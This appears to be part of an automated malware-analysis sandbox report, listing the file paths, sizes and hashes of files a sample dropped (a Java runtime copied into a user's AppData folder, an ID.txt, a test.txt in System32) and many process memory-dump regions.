C:\Users\Admin\AppData\Roaming\Oracle\lib\amd64\jvm.cfg
Filesize
634B

MD5
499f2a4e0a25a41c1ff80df2d073e4fd

SHA1
e2469cbe07e92d817637be4e889ebb74c3c46253

SHA256
80847ed146dbc5a9f604b07ec887737fc266699abba266177b553149487ce9eb

SHA512
7828f7b06d0f4309b9edd3aa71ae0bb7ee92d2f8df5642c13437bba2a3888e457dc9b24c16aa9e0f19231530cb44b8ccd955cbbdf5956ce8622cc208796b357d

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\charsets.jar
Filesize
2.9MB

MD5
a5b8d1a15884d8450ec905fc08d6e1d2

SHA1
472cdfe3f3bf1e719e3bc73f008f26960d2a74fc

SHA256
94e16e5ba8033fc3cd2a2e731b6326958dfe7c9b70fd4826eb2c0709a656d83d

SHA512
3eee8ff3e969161d551903a1687db379f516ddfe4bec35c508964012a58895a45a36d4efcd06a60448f3ec764c4f3dd7e317445c32e23b8c888b68361747e330

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\deploy\messages_zh_TW.properties
Filesize
3KB

MD5
880baacb176553deab39edbe4b74380d

SHA1
37a57aad121c14c25e149206179728fa62203bf0

SHA256
ff4a3a92bc92cb08d2c32c435810440fd264edd63e56efa39430e0240c835620

SHA512
3039315bb283198af9090bd3d31cfae68ee73bc2b118bbae0b32812d4e3fd0f11ce962068d4a17b065dab9a66ef651b9cb8404c0a2defce74bb6b2d1d93646d5

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\ext\meta-index
Filesize
1KB

MD5
af03d781ec85caa0f45e6e29830ce112

SHA1
ef3dd2f731903182e47cb83cdf275f5f0e58b3db

SHA256
8c55ed28260fcd7fd4e5d68e871a735148c01a711545602c2c26aa9d6653c05c

SHA512
df080f8c206ba125f5ce4129640fc05e9fc5b00fd87fe08866bbc7b67f5caa3ec2792dd874d49253a70ea0a9c3856c2e8ba4c39728656854a290cfdf6ba683a3

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\ext\sunec.jar
Filesize
46KB

MD5
5aff6406c285d0ef2e8d7946b2eb01f8

SHA1
fef27bfeff7242ea820c90665d684fcacd770505

SHA256
6507274374d7d50eb6bf5998288760988deccc16ed7934ad8a182c2500f0405c

SHA512
c94f1b7d30d74914ed973892f8f3200a20206caeec41e99feef9b58b9e4354260b396eb464e2162d740315f000d7bd1c811ef7520301fdc65dcfd0af648deb65

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\ext\sunjce_provider.jar
Filesize
288KB

MD5
d48c3b0a549c1b0a72cc5bc63a4cc979

SHA1
542d860693da662555cea10986e533e374b52326

SHA256
a5d33f76829de19bd1eef234cf148c1f984707480befa81b4811bad21886a050

SHA512
f8f8e949bfc809a8504d810ceb4e75aad27008aba9aba27bc84dba77ebb7c05f8dc7f8a33b83d51d0872f9ce43ede3f26a51e9fc8eb17558c72b684c2bed73d6

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\images\cursors\win32_CopyNoDrop32x32.gif
Filesize
153B

MD5
1e9d8f133a442da6b0c74d49bc84a341

SHA1
259edc45b4569427e8319895a444f4295d54348f

SHA256
1a1d3079d49583837662b84e11d8c0870698511d9110e710eb8e7eb20df7ae3b

SHA512
63d6f70c8cab9735f0f857f5bf99e319f6ae98238dc7829dd706b7d6855c70be206e32e3e55df884402483cf8bebad00d139283af5c0b85dc1c5bf8f253acd37

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\jce.jar
Filesize
120KB

MD5
99247d1d5370a784e438416e599abe36

SHA1
2f958cccadeb2d991e41edccece08bc1a64368cf

SHA256
f5700ffd6842bff801307c09e02ce3ca9792eb2cd4d34e79563bf77ff44ae531

SHA512
e3380e411f1b7219df659cbb4691cf3cd23c66f4af428f3b71539e579b6c2ce8209fad949f3909337a89282fd5c1d1eacf2a1acc34ff129c69c7b0bdb1b65a35

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\jfr.jar
Filesize
566KB

MD5
9868c5f7a74f603107ecdb43a367d91b

SHA1
6b5499786196c71c7c2ff63d1f15d70b4c0164a8

SHA256
8660a4dd44225c06a79afb5e8015a74cd610c50c777b4b2737008d179b69dd83

SHA512
1740c646cc0b83398ff0aa6c7b297cd4882840c9cae28fbac4914617764cc21c2026539b7eaf9209fff8d3b1df89a09299021f43910c07e434060434461daa8e

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\jsse.jar
Filesize
1.7MB

MD5
6b4188fce8bf2334732741b2f3c3c864

SHA1
95dfc9d9709f9b6e7fce99bc02a3bc7d1fde75d8

SHA256
46599d42d2c0b9bc6484a5b2d5a53bb5d9b238bef9c87f006acd61cc52bdb0ff

SHA512
59cbc0820e01fcf7a62675aa9bece9afd2ca20c3cca4b7033394c398e669b0b7f7ec5ac97486fecfb6fa48187b7faa0fb1fb5987e93c6a0a5e85e99b9ddda590

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\meta-index
Filesize
2KB

MD5
689c0cbde7697f43642bf1134f4b70af

SHA1
307db1c4a9570f01479dea98f6b5bd33a1deb759

SHA256
6bd7ea02b9456a3730755e76d4ee1ccc04c524e93366cd74d7f42ac628d4ec77

SHA512
13afe0797d9c2c7ab8721fbedab42225b41f45059a9167c046a11e1bf6e03ad82accaed42884dff335b66ec41d3608d0d0bd06582af51634a81550c81baff2fb

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\resources.jar
Filesize
3.4MB

MD5
181737fb6fbc7447670c89c22262199c

SHA1
11150f5ba9782d8550fd1a3d6eee889a0ca66da0

SHA256
9dafdd0afd9f6aab6eec3f130d0c85bf5507b8535b063e17c8fa4924773470b0

SHA512
8daad658207f9e8fd937254c453fb4be8b488cc061ce9e41df83fbd228193da9007feed3bb3ff12188c41a6b733d2851933d276d68d03f8edec3c3de602ca60a

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\security\blacklisted.certs
Filesize
2KB

MD5
8273f70416f494f7fa5b6c70a101e00e

SHA1
aeaebb14fbf146fbb0aaf347446c08766c86ca7f

SHA256
583500b76965eb54b03493372989ab4d3426f85462d1db232c5ae6706a4d6c58

SHA512
e697a57d64ace1f302300f83e875c2726407f8daf7c1d38b07ab8b4b11299fd698582d825bee817a1af85a285f27877a9e603e48e01c72e482a04dc7ab12c8da

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\security\java.security
Filesize
56KB

MD5
29b34fe1ee5b9329374ad1ef7587c7d2

SHA1
2fc188499d923a0fdbfa4ad93ac70699d0effaf8

SHA256
cb4819328a486176a862a35ca9ee504acb8e793bcf5ae2011e7bd89633ee6233

SHA512
45f2cfc937861863485b16f663d409890ec8d53f171cb67f356a13c2d34e7a1c8e01114dcbcc28a557a82c4cd51d2c1fcfa0570559236f5705547537a2c498a2

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\security\policy\unlimited\US_export_policy.jar
Filesize
7KB

MD5
12f971b6e65cbc7184701235469f0339

SHA1
06cb165157c5e0078b872c48707a1328b1dcba19

SHA256
84e035372ca8979bb4a387428a74942ffc7248a0e61988b7033b5b266cd187c8

SHA512
58646fc81de2e4750a3259d79a207a8cff2dc6692f178a63d92a453fc408c8d1088007ef4e93157d1017be706565716a0236039dbac848c40745a0ad89c4d0de

Download Submit
C:\Users\Admin\AppData\Roaming\Oracle\lib\security\policy\unlimited\local_policy.jar
Filesize
7KB

MD5
109bd5e32ffeb9454bc0dd2bfdff57a7

SHA1
c3a06b4a9e24d511d6ebb5465b30083cab4a7a28

SHA256
86563bc645c5ff0e998c2bb38a75a0edb337ed188e56adf57bb51a2c5415dfef

SHA512
5a336d98c646cac2ef9499c04a29bcba55d8647d26a431dd98eb81a34cc0b29bff32dce63fc012a9b77110ba45f931911b6c674a018346916a1e12d5a6410bc1

Download Submit
C:\Users\Admin\pUELNCPAtlG\ID.txt
Filesize
47B

MD5
b7e67879f66cdf210268fe8d0c1c78ca

SHA1
83b161242d1c2ef899ca6a38567ed2ed479dfc74

SHA256
8c7d32075e4ff5a09ef71d9c671f4672ab108eb147d90b686e4beafe8b20d8b7

SHA512
7a9367a38065feeeed5bcda327ee7adfc954fe161e9f3b3bfdca22a9a63e36589a2b9dbb30c3406cb2f29e2a2d48de504be69ae1afd5ea9a9de07c36966ce77a

Download Submit
C:\Windows\System32\test.txt
Filesize
817B

MD5
1d2b930cb2826c2751dfe98ba5188dc4

SHA1
f08693ad9dfa60958af54cd4952a037bb8760ce4

SHA256
341ae35d81ad1dc00b87b92a92ae17e8bb262a047c01dc87f00bea149f8af26a

SHA512
279d08eed5477149560b7dcb375154004e8c18cbd6aa41aff4bd86db251944a990fce4020ff6dd0aab6c6e05e9c53c025b6dc74b71453f990d9ad333e99aa366

Download Submit
memory/212-609-0x0000018642840000-0x0000018642841000-memory.dmp

Filesize
4KB

Download
memory/212-1191-0x0000018642860000-0x0000018642AD0000-memory.dmp

Filesize
2.4MB

Download
memory/212-44-0x0000018642860000-0x0000018642AD0000-memory.dmp

Filesize
2.4MB

Download
memory/212-1185-0x0000018642840000-0x0000018642841000-memory.dmp

Filesize
4KB

Download
memory/212-1153-0x0000018642840000-0x0000018642841000-memory.dmp

Filesize
4KB

Download
memory/212-1212-0x0000018642840000-0x0000018642841000-memory.dmp

Filesize
4KB

Download
memory/212-1186-0x0000018642840000-0x0000018642841000-memory.dmp

Filesize
4KB

Download
memory/212-995-0x0000018642840000-0x0000018642841000-memory.dmp

Filesize
4KB

Download
memory/212-99-0x0000018642840000-0x0000018642841000-memory.dmp

Filesize
4KB

Download
memory/212-986-0x0000018642840000-0x0000018642841000-memory.dmp

Filesize
4KB

Download
memory/540-1130-0x000002148A440000-0x000002148A441000-memory.dmp

Filesize
4KB

Download
memory/540-1190-0x000002148A440000-0x000002148A441000-memory.dmp

Filesize
4KB

Download
memory/540-1189-0x000002148A440000-0x000002148A441000-memory.dmp

Filesize
4KB

Download
memory/540-1197-0x000002148A440000-0x000002148A441000-memory.dmp

Filesize
4KB

Download
memory/540-1210-0x000002148A440000-0x000002148A441000-memory.dmp

Filesize
4KB

Download
memory/540-1162-0x000002148A440000-0x000002148A441000-memory.dmp

Filesize
4KB

Download
memory/540-1159-0x000002148A440000-0x000002148A441000-memory.dmp

Filesize
4KB

Download
memory/4008-61-0x000001F683C40000-0x000001F683C50000-memory.dmp

Filesize
64KB

Download
memory/4008-37-0x000001F683C00000-0x000001F683C10000-memory.dmp

Filesize
64KB

Download
memory/4008-59-0x000001F683900000-0x000001F683B70000-memory.dmp

Filesize
2.4MB

Download
memory/4008-2-0x000001F683900000-0x000001F683B70000-memory.dmp

Filesize
2.4MB

Download
memory/4008-64-0x000001F683C50000-0x000001F683C60000-memory.dmp

Filesize
64KB

Download
memory/4008-43-0x000001F683C10000-0x000001F683C20000-memory.dmp

Filesize
64KB

Download
memory/4008-63-0x000001F683B70000-0x000001F683B80000-memory.dmp

Filesize
64KB

Download
memory/4008-62-0x000001F683C30000-0x000001F683C40000-memory.dmp

Filesize
64KB

Download
memory/4008-39-0x000001F6838E0000-0x000001F6838E1000-memory.dmp

Filesize
4KB

Download
memory/4008-1046-0x000001F683C10000-0x000001F683C20000-memory.dmp

Filesize
64KB

Download
memory/4008-86-0x000001F683CB0000-0x000001F683CC0000-memory.dmp

Filesize
64KB

Download
memory/4008-1056-0x000001F683CB0000-0x000001F683CC0000-memory.dmp

Filesize
64KB

Download
memory/4008-1055-0x000001F683CA0000-0x000001F683CB0000-memory.dmp

Filesize
64KB

Download
memory/4008-1054-0x000001F683C90000-0x000001F683CA0000-memory.dmp

Filesize
64KB

Download
memory/4008-1053-0x000001F683C80000-0x000001F683C90000-memory.dmp

Filesize
64KB

Download
memory/4008-1052-0x000001F683C70000-0x000001F683C80000-memory.dmp

Filesize
64KB

Download
memory/4008-1051-0x000001F683C60000-0x000001F683C70000-memory.dmp

Filesize
64KB

Download
memory/4008-1050-0x000001F683C20000-0x000001F683C30000-memory.dmp

Filesize
64KB

Download
memory/4008-1049-0x000001F683900000-0x000001F683B70000-memory.dmp

Filesize
2.4MB

Download
memory/4008-1048-0x000001F683C40000-0x000001F683C50000-memory.dmp

Filesize
64KB

Download
memory/4008-1047-0x000001F683C50000-0x000001F683C60000-memory.dmp

Filesize
64KB

Download
memory/4008-1045-0x000001F683C00000-0x000001F683C10000-memory.dmp

Filesize
64KB

Download
memory/4008-1044-0x000001F683BF0000-0x000001F683C00000-memory.dmp

Filesize
64KB

Download
memory/4008-1043-0x000001F683BD0000-0x000001F683BE0000-memory.dmp

Filesize
64KB

Download
memory/4008-1042-0x000001F683BC0000-0x000001F683BD0000-memory.dmp

Filesize
64KB

Download
memory/4008-1041-0x000001F683BB0000-0x000001F683BC0000-memory.dmp

Filesize
64KB

Download
memory/4008-1040-0x000001F683B80000-0x000001F683B90000-memory.dmp

Filesize
64KB

Download
memory/4008-1039-0x000001F683B70000-0x000001F683B80000-memory.dmp

Filesize
64KB

Download
memory/4008-1038-0x000001F683C30000-0x000001F683C40000-memory.dmp

Filesize
64KB

Download
memory/4008-1036-0x000001F6838E0000-0x000001F6838E1000-memory.dmp

Filesize
4KB

Download
memory/4008-991-0x000001F683BD0000-0x000001F683BE0000-memory.dmp

Filesize
64KB

Download
memory/4008-54-0x000001F6838E0000-0x000001F6838E1000-memory.dmp

Filesize
4KB

Download
memory/4008-29-0x000001F683BF0000-0x000001F683C00000-memory.dmp

Filesize
64KB

Download
memory/4008-85-0x000001F683CA0000-0x000001F683CB0000-memory.dmp

Filesize
64KB

Download
memory/4008-27-0x000001F683BE0000-0x000001F683BF0000-memory.dmp

Filesize
64KB

Download
memory/4008-26-0x000001F683BD0000-0x000001F683BE0000-memory.dmp

Filesize
64KB

Download
memory/4008-24-0x000001F683BC0000-0x000001F683BD0000-memory.dmp

Filesize
64KB

Download
memory/4008-21-0x000001F683BB0000-0x000001F683BC0000-memory.dmp

Filesize
64KB

Download
memory/4008-20-0x000001F683BA0000-0x000001F683BB0000-memory.dmp

Filesize
64KB

Download
memory/4008-16-0x000001F683B80000-0x000001F683B90000-memory.dmp

Filesize
64KB

Download
memory/4008-992-0x000001F683BE0000-0x000001F683BF0000-memory.dmp

Filesize
64KB

Download
memory/4008-60-0x000001F683C20000-0x000001F683C30000-memory.dmp

Filesize
64KB

Download
memory/4008-17-0x000001F683B90000-0x000001F683BA0000-memory.dmp

Filesize
64KB

Download
memory/4008-13-0x000001F683B70000-0x000001F683B80000-memory.dmp

Filesize
64KB

Download
memory/4008-84-0x000001F683C90000-0x000001F683CA0000-memory.dmp

Filesize
64KB

Download
memory/4008-71-0x000001F683C60000-0x000001F683C70000-memory.dmp

Filesize
64KB

Download
memory/4008-727-0x000001F6838E0000-0x000001F6838E1000-memory.dmp

Filesize
4KB

Download
memory/4008-83-0x000001F683BC0000-0x000001F683BD0000-memory.dmp

Filesize
64KB

Download
memory/4008-70-0x000001F683B90000-0x000001F683BA0000-memory.dmp

Filesize
64KB

Download
memory/4008-69-0x000001F683B80000-0x000001F683B90000-memory.dmp

Filesize
64KB

Download
memory/4008-76-0x000001F683BA0000-0x000001F683BB0000-memory.dmp

Filesize
64KB

Download
memory/4008-77-0x000001F683BB0000-0x000001F683BC0000-memory.dmp

Filesize
64KB

Download
memory/4008-78-0x000001F683C70000-0x000001F683C80000-memory.dmp

Filesize
64KB

Download
memory/4008-112-0x000001F6838E0000-0x000001F6838E1000-memory.dmp

Filesize
4KB

Download
memory/4008-79-0x000001F683C80000-0x000001F683C90000-memory.dmp

Filesize
64KB

Download
memory/4344-1184-0x000002D7A6C70000-0x000002D7A6C71000-memory.dmp

Filesize
4KB

Download
memory/4344-1174-0x000002D7A6C70000-0x000002D7A6C71000-memory.dmp

Filesize
4KB

Download
memory/4344-1171-0x000002D7A6C70000-0x000002D7A6C71000-memory.dmp

Filesize
4KB

Download
memory/4344-1166-0x000002D7A6C70000-0x000002D7A6C71000-memory.dmp

Filesize
4KB

Download
memory/4344-1157-0x000002D7A6C70000-0x000002D7A6C71000-memory.dmp

Filesize
4KB

Download
memory/4344-1116-0x000002D7A6C70000-0x000002D7A6C71000-memory.dmp

Filesize
4KB

Download
memory/4344-1061-0x000002D7A6C70000-0x000002D7A6C71000-memory.dmp

Filesize
4KB

Download
memory/4344-1218-0x000002D7A6C70000-0x000002D7A6C71000-memory.dmp

Filesize
4KB

Download